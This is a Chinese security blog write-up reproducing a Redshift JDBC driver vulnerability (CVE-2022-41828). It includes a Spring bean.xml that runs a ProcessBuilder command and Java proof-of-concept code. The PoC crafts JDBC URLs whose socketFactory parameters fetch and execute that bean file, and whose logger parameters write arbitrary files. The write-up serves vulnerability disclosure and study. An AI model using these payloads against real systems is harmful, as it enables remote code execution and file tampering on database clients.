漏洞简介
漏洞复现
<!-- https://mvnrepository.com/artifact/com.amazon.redshift/redshift-jdbc42 -->
<dependency>
<groupId>com.amazon.redshift</groupId>
<artifactId>redshift-jdbc42</artifactId>
<version>2.1.0.7</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
bean.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
编写测试代码 import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class CVE202241828 {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:redshift://127.0.0.1:5432/test?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
漏洞分析
任意代码执行 socketFactory/socketFactoryArg
这个漏洞跟 PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724) 很类似,就不做具体分析,仅画出漏洞调用图
漏洞修复 要求获取的类名必须是指定类的子类,否则就抛出异常
任意文件写入 loggerLevel/loggerFile
按照一个漏洞发现的思路来说,PostgresQL-JDBC 存在代码执行和任意文件写入漏洞,那么对于 Redshift-jdbc 也应该存在着类似的任意文件写入漏洞 import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class CVE202241828 {
public static void main(String[] args) throws SQLException {
String loggerLevel = "debug";
String shellContent="test";
String loggerFile= "test\test.txt";
String jdbcUrl =
"jdbc:redshift://127.0.0.1:5432/test?loggerFile="+loggerFile+"&loggerLevel="+loggerLevel+"&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
com.amazon.redshift.Driver#connect
通过getLogger设定日志的相关参数,之后将url保存为String temp然后保存日志文件 com.amazon.redshift.Driver#getLogger
前面通过提取jdbcurl中对应的参数,然后调用RedshiftLogger设置日志的相关参数 com.amazon.redshift.logger.RedshiftLogger#RedshiftLogger
此处的logLevel必须为String ERROR、INFO、FUNCTION、DEBUG、TRACE中任意一个 或者为int 1、2、3、6 中的一个 com.amazon.redshift.logger.LogFileHandler#LogFileHandler
在这个地方会根据 来分割文件名和目录,所以我们为loggerFile赋值时需要注意,同时也因为没有做校验,所以可以实现任意文件写入 然后在com.amazon.redshift.Driver#connect触发了保存操作
往期推荐
原文始发于微信公众号(白帽子):原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论